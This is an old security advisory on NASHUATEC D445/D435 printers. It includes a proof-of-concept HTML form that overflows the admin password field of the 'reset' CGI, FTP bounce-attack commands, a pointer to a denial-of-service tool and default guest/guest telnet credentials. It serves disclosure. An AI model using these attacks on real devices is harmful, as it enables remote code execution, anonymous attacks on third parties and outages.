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Vulnerability NASHUATEC D445 and D435 Affected NASHUATEC D445 printer Description Gregory Duchemin found following. The NASHUATEC D445 printer is vulnerabled to many attacks. There are 4 communs services that run in a standard configuration: httpd, ftpd, telnetd, printer. (tested with nmap). Same applies to D435. First, it's possible to configure remotly the server via its own admin web server (port 80). Naturaly the server will ask you for an admin password before submiting the form to the cgi. The password field is 15 chars length but an intruder with a lightly modified copy of the original form will be able to submit many more chars (about 260 will be enough for the test) to the cgi and produce a buffer overflow (see the example below). The cgi concerned is "reset", but we can suppose, every cgi are exposed to this problem. If our intruder decide to forge a special password with instruction code inside he'll force the remote printer to execute code with the target web server priviledge. Attacker form example: <HTML> <HEAD> <TITLE>Nashuadeath</TITLE> </HEAD> <!-- Gregory Duchemin Aka c3rber --> <!-- NEUROCOM --> <!-- http://www.neurocom.com --> <!-- 179/181 Avenue Charles de Gaulle --> <!-- 92200 Neuilly Sur Seine --> <!-- Tel: 01.41.43.84.84 Fax: 01.41.43.84.80 --> <BODY> <HR> <CENTER><FONT SIZE=+2><big><B>NIB 450-E</B></big></FONT></CENTER> <HR> <CENTER><FONT SIZE=+2>Unit Serial Number 599132</FONT></CENTER> <HR> <H2><CENTER>Reset Unit</H2> <HR> <FORM ENCTYPE="x-www-form-encoded" METHOD="POST" ACTION="http://victim-printer-ip/Forms/reset"> <B>A very big password is required to perform this function ( at least 260 chars length ).</B><BR> <BR> <INPUT TYPE="text" NAME="http_pwd" SIZE="100" MAXLENGTH="1500"> <BR> <BR> <INPUT TYPE="SUBMIT" NAME="Submit" VALUE="T3st M3 PL3ase"> </FORM> <P> <HR> <P> <CENTER>[ <A HREF="/index">Home</A> | <A HREF="/info">Unit Info</A> ] </CENTER> </BODY> </HTML> Another flaw is present in the ftp daemon that permit the infamous "bounce attack". ftp printer.victim.com user xxxxx pass xxxxx quote port a1,a2,a3,a4,0,25 a1.a2.a3.a4 is every other ip adress. The ftp server doesn't check neither the type of port in the request (< 1024 = administrative port) nor the ip adress used. So an intruder may use the service to attack some ohter boxes anonymously. The last one is a denial of service with an icmp redirect storm against the printer ip stack. Use winfreez.c to test it. The printer 'll not respond anymore during the attack. winfreez.c is available at: http://oliver.efri.hr/~crv/security/bugs/NT/kernel48.html Here's update: - By default, a "guest" account (password guest) allow everybody to authenticate himself to the telnet service. That's not exactly what we should call a security hole since everybody can connect to the web server with exactly the same priviledge and with out any needed authentication. - the telnetd daemon no longer listen on its port after only one syn stealth scan (try nmap "-sS" option). This behavior suggest that this version of telnetd is unable to manage simultaneous connection requests resulting in a possible denial of service at tack. Solution Nothing yet.